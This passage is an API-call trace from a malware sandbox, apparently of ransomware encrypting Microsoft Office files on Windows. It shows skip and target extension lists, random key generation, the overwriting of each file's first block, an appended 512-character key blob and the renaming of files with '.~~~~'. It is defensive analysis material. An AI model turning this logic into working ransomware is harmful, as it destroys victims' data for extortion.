	[0145.766] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0145.766] WriteFile (in: hFile=0x10c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0145.766] CloseHandle (hObject=0x10c) returned 1
	[0145.766] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c71c0
	[0145.766] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wderrlnk.vrd"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WDERRLNK.VRD.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wderrlnk.vrd.~~~~")) returned 1
	[0145.769] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c71c0 | out: hHeap=0x300000) returned 1
	[0145.769] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356f78 | out: hHeap=0x300000) returned 1
	[0145.769] GetLastError () returned 0x0
	[0145.769] RtlWakeConditionVariable () returned 0x365f70
	[0145.769] GetCurrentThreadId () returned 0x3a4
	[0145.769] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS", lpSrch=".scr") returned 0x0
	[0145.769] lstrlenW (lpString=".cmd") returned 4
	[0145.769] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS", lpSrch=".cmd") returned 0x0
	[0145.769] lstrlenW (lpString=".dll") returned 4
	[0145.770] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS", lpSrch=".dll") returned 0x0
	[0145.770] lstrlenW (lpString=".bat") returned 4
	[0145.770] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS", lpSrch=".bat") returned 0x0
	[0145.770] lstrlenW (lpString=".cpl") returned 4
	[0145.770] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS", lpSrch=".cpl") returned 0x0
	[0145.770] lstrlenW (lpString=".sys") returned 4
	[0145.770] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS", lpSrch=".sys") returned 0x0
	[0145.770] lstrlenW (lpString=".msc") returned 4
	[0145.770] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS", lpSrch=".msc") returned 0x0
	[0145.770] lstrlenW (lpString=".com") returned 4
	[0145.770] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS", lpSrch=".com") returned 0x0
	[0145.770] lstrlenW (lpString=".lnk") returned 4
	[0145.770] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS", lpSrch=".lnk") returned 0x0
	[0145.770] lstrlenW (lpString=".msp") returned 4
	[0145.770] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS", lpSrch=".msp") returned 0x0
	[0145.770] lstrlenW (lpString=".pif") returned 4
	[0145.770] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS", lpSrch=".pif") returned 0x0
	[0145.770] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0145.770] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS", lpSrch="msp\r\n.pif") returned 0x0
	[0145.770] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0145.773] lstrlenW (lpString=".sqb") returned 4
	[0145.773] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS", lpSrch=".sqb") returned 0x0
	[0145.773] lstrlenW (lpString=".ost") returned 4
	[0145.773] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS", lpSrch=".ost") returned 0x0
	[0145.773] lstrlenW (lpString=".txt") returned 4
	[0145.773] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS", lpSrch=".txt") returned 0x0
	[0145.773] lstrlenW (lpString=".mdt") returned 4
	[0145.773] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS", lpSrch=".mdt") returned 0x0
	[0145.773] lstrlenW (lpString=".BDB") returned 4
	[0145.773] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS", lpSrch=".BDB") returned 0x0
	[0145.773] lstrlenW (lpString=".eql") returned 4
	[0145.773] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS", lpSrch=".eql") returned 0x0
	[0145.773] lstrlenW (lpString=".DBF") returned 4
	[0145.773] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS", lpSrch=".DBF") returned 0x0
	[0145.773] lstrlenW (lpString=".EQL") returned 4
	[0145.773] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS", lpSrch=".EQL") returned 0x0
	[0145.773] lstrlenW (lpString=".FDB") returned 4
	[0145.773] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS", lpSrch=".FDB") returned 0x0
	[0145.773] lstrlenW (lpString=".EDB") returned 4
	[0145.774] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS", lpSrch=".EDB") returned 0x0
	[0145.774] lstrlenW (lpString=".DACPAC") returned 7
	[0145.774] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS", lpSrch=".DACPAC") returned 0x0
	[0145.774] lstrlenW (lpString=".VHD") returned 4
	[0145.774] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS", lpSrch=".VHD") returned 0x0
	[0145.774] lstrlenW (lpString=".DBV") returned 4
	[0145.774] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS", lpSrch=".DBV") returned 0x0
	[0145.774] lstrlenW (lpString=".dacpac") returned 7
	[0145.774] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS", lpSrch=".dacpac") returned 0x0
	[0145.774] lstrlenW (lpString=".sdf") returned 4
	[0145.774] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS", lpSrch=".sdf") returned 0x0
	[0145.774] lstrlenW (lpString=".accdb") returned 6
	[0145.774] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS", lpSrch=".accdb") returned 0x0
	[0145.774] lstrlenW (lpString=".DBX") returned 4
	[0145.774] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS", lpSrch=".DBX") returned 0x0
	[0145.774] lstrlenW (lpString=".MDT") returned 4
	[0145.774] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS", lpSrch=".MDT") returned 0x0
	[0145.774] lstrlenW (lpString=".SQB") returned 4
	[0145.774] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS", lpSrch=".SQB") returned 0x0
	[0145.774] lstrlenW (lpString=".vhd") returned 4
	[0145.774] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS", lpSrch=".vhd") returned 0x0
	[0145.774] lstrlenW (lpString=".bac") returned 4
	[0145.774] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS", lpSrch=".bac") returned 0x0
	[0145.774] lstrlenW (lpString=".mdf") returned 4
	[0145.774] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS", lpSrch=".mdf") returned 0x0
	[0145.774] lstrlenW (lpString=".BAK") returned 4
	[0145.774] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS", lpSrch=".BAK") returned 0x0
	[0145.774] lstrlenW (lpString=".BAC") returned 4
	[0145.775] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS", lpSrch=".BAC") returned 0x0
	[0145.775] lstrlenW (lpString=".dbs") returned 4
	[0145.775] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS", lpSrch=".dbs") returned 0x0
	[0145.775] lstrlenW (lpString=".vhdx") returned 5
	[0145.775] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS", lpSrch=".vhdx") returned 0x0
	[0145.775] lstrlenW (lpString=".NDF") returned 4
	[0145.775] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS", lpSrch=".NDF") returned 0x0
	[0145.775] lstrlenW (lpString=".dat") returned 4
	[0145.775] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS", lpSrch=".dat") returned 0x0
	[0145.775] lstrlenW (lpString=".DBS") returned 4
	[0145.775] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS", lpSrch=".DBS") returned 0x0
	[0145.775] lstrlenW (lpString=".CKP") returned 4
	[0145.775] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS", lpSrch=".CKP") returned 0x0
	[0145.775] lstrlenW (lpString=".edb") returned 4
	[0145.775] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS", lpSrch=".edb") returned 0x0
	[0145.775] lstrlenW (lpString=".PST") returned 4
	[0145.775] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS", lpSrch=".PST") returned 0x0
	[0145.775] lstrlenW (lpString=".dbf") returned 4
	[0145.775] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS", lpSrch=".dbf") returned 0x0
	[0145.775] lstrlenW (lpString=".SQL") returned 4
	[0145.775] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS", lpSrch=".SQL") returned 0x0
	[0145.775] lstrlenW (lpString=".pst") returned 4
	[0145.775] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS", lpSrch=".pst") returned 0x0
	[0145.775] lstrlenW (lpString=".dbv") returned 4
	[0145.775] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS", lpSrch=".dbv") returned 0x0
	[0145.775] lstrlenW (lpString=".SDF") returned 4
	[0145.775] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS", lpSrch=".SDF") returned 0x0
	[0145.843] lstrlenW (lpString=".dtxs") returned 5
	[0145.843] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS", lpSrch=".dtxs") returned 0x0
	[0145.843] lstrlenW (lpString=".db3") returned 4
	[0145.843] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS", lpSrch=".db3") returned 0x0
	[0145.843] lstrlenW (lpString=".OST") returned 4
	[0145.843] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS", lpSrch=".OST") returned 0x0
	[0145.843] lstrlenW (lpString=".dbx") returned 4
	[0145.843] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS", lpSrch=".dbx") returned 0x0
	[0145.843] lstrlenW (lpString=".DB3") returned 4
	[0145.843] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS", lpSrch=".DB3") returned 0x0
	[0145.843] lstrlenW (lpString=".DAT") returned 4
	[0145.844] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS", lpSrch=".DAT") returned 0x0
	[0145.844] lstrlenW (lpString=".VHDX") returned 5
	[0145.844] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS", lpSrch=".VHDX") returned 0x0
	[0145.844] lstrlenW (lpString=".ndf") returned 4
	[0145.844] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS", lpSrch=".ndf") returned 0x0
	[0145.844] lstrlenW (lpString=".DB") returned 3
	[0145.844] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS", lpSrch=".DB") returned 0x0
	[0145.844] lstrlenW (lpString=".sql") returned 4
	[0145.844] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS", lpSrch=".sql") returned 0x0
	[0145.844] lstrlenW (lpString=".MYD") returned 4
	[0145.844] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS", lpSrch=".MYD") returned 0x0
	[0145.844] lstrlenW (lpString=".DBT") returned 4
	[0145.844] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS", lpSrch=".DBT") returned 0x0
	[0145.844] lstrlenW (lpString=".ACCDB") returned 6
	[0145.844] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS", lpSrch=".ACCDB") returned 0x0
	[0145.844] lstrlenW (lpString=".fdb") returned 4
	[0145.844] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS", lpSrch=".fdb") returned 0x0
	[0145.844] lstrlenW (lpString=".bak") returned 4
	[0145.844] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS", lpSrch=".bak") returned 0x0
	[0145.844] lstrlenW (lpString=".myd") returned 4
	[0145.844] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS", lpSrch=".myd") returned 0x0
	[0145.844] lstrlenW (lpString=".DTXS") returned 5
	[0145.844] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS", lpSrch=".DTXS") returned 0x0
	[0145.844] lstrlenW (lpString=".ckp") returned 4
	[0145.844] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS", lpSrch=".ckp") returned 0x0
	[0145.844] lstrlenW (lpString=".dbt") returned 4
	[0145.844] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS", lpSrch=".dbt") returned 0x0
	[0145.844] lstrlenW (lpString=".db") returned 3
	[0145.844] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS", lpSrch=".db") returned 0x0
	[0145.844] lstrlenW (lpString=".TXT") returned 4
	[0145.844] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS", lpSrch=".TXT") returned 0x0
	[0145.844] lstrlenW (lpString=".MDF") returned 4
	[0145.844] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS", lpSrch=".MDF") returned 0x0
	[0145.844] lstrlenW (lpString=".bdb") returned 4
	[0145.844] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS", lpSrch=".bdb") returned 0x0
	[0145.845] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0145.845] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0145.845] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29061a8
	[0145.845] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0145.845] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x395da0) returned 1
	[0145.846] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0145.846] CryptReleaseContext (hProv=0x395da0, dwFlags=0x0) returned 1
	[0145.846] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0145.846] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0145.846] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0145.846] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=26583594890) returned 1
	[0145.846] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xc055f1d0, dwHighDateTime=0x1d60e1e)) 
	[0145.846] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0145.846] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0145.846] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0145.846] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x37f860
	[0145.846] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0145.846] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37f860 | out: hHeap=0x300000) returned 1
	[0145.846] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0145.846] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0145.846] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29b0bc8
	[0145.846] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0145.846] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37bb70
	[0145.846] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b0bc8 | out: hHeap=0x300000) returned 1
	[0145.846] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0145.847] GetLastError () returned 0x0
	[0145.847] GetLastError () returned 0x0
	[0145.847] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0145.847] GetLastError () returned 0x0
	[0145.847] GetLastError () returned 0x0
	[0145.847] ReadFile (in: hFile=0x10c, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0145.861] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0145.861] WriteFile (in: hFile=0x10c, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0145.861] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0145.861] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0145.862] WriteFile (in: hFile=0x10c, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0145.866] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0145.867] WriteFile (in: hFile=0x10c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0145.867] CloseHandle (hObject=0x10c) returned 1
	[0145.867] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29b0bc8
	[0145.867] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev.hxs"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV.HXS.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev.hxs.~~~~")) returned 1
	[0145.880] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b0bc8 | out: hHeap=0x300000) returned 1
	[0145.880] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0145.880] GetLastError () returned 0x0
	[0145.880] RtlWakeConditionVariable () returned 0x0
	[0145.880] GetCurrentThreadId () returned 0x3a4
	[0145.881] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC", lpSrch=".scr") returned 0x0
	[0145.881] lstrlenW (lpString=".cmd") returned 4
	[0145.881] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC", lpSrch=".cmd") returned 0x0
	[0145.881] lstrlenW (lpString=".dll") returned 4
	[0145.881] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC", lpSrch=".dll") returned 0x0
	[0145.881] lstrlenW (lpString=".bat") returned 4
	[0145.881] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC", lpSrch=".bat") returned 0x0
	[0145.881] lstrlenW (lpString=".cpl") returned 4
	[0145.881] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC", lpSrch=".cpl") returned 0x0
	[0145.881] lstrlenW (lpString=".sys") returned 4
	[0145.881] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC", lpSrch=".sys") returned 0x0
	[0145.881] lstrlenW (lpString=".msc") returned 4
	[0145.881] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC", lpSrch=".msc") returned 0x0
	[0145.881] lstrlenW (lpString=".com") returned 4
	[0145.881] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC", lpSrch=".com") returned 0x0
	[0145.881] lstrlenW (lpString=".lnk") returned 4
	[0145.881] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC", lpSrch=".lnk") returned 0x0
	[0145.881] lstrlenW (lpString=".msp") returned 4
	[0145.881] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC", lpSrch=".msp") returned 0x0
	[0145.881] lstrlenW (lpString=".pif") returned 4
	[0145.881] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC", lpSrch=".pif") returned 0x0
	[0145.881] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0145.881] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC", lpSrch="msp\r\n.pif") returned 0x0
	[0145.881] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0145.903] lstrlenW (lpString=".sqb") returned 4
	[0145.903] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC", lpSrch=".sqb") returned 0x0
	[0145.903] lstrlenW (lpString=".ost") returned 4
	[0145.903] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC", lpSrch=".ost") returned 0x0
	[0145.903] lstrlenW (lpString=".txt") returned 4
	[0145.903] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ_COL.HXC", lpSrch=".txt") returned 0x0
	[0145.903] lstrlenW (lpString=".mdt") returned 4
